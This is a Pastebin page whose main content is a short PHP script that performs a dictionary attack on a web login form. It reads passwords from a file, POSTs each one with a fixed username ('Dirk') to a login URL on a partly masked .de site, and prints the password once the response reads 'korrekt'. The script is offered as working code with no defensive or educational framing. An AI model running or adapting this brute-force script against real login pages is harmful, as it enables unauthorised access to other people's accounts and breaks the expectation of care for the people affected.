Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $url = 'https://www.xxx.de/login.php';
- $file = 'passwords.txt';
- $user = 'Dirk';
- // ------------------------------
- $file_handle = fopen($file, 'r');
- while (!feof($file_handle)) {
- $password = fgets($file_handle);
- $data = array(
- 'user' => $user,
- 'password' => $password
- );
- $options = array(
- 'http' => array(
- 'header' => "Content-type: application/x-www-form-urlencoded\r\n",
- 'method' => 'POST',
- 'content' => http_build_query($data)
- )
- );
- $context = stream_context_create($options);
- $result = file_get_contents($url, false, $context);
- if($result == 'korrekt'){
- echo $password;
- exit();
- }
- }
- ?>
Add Comment
Please, Sign In to add comment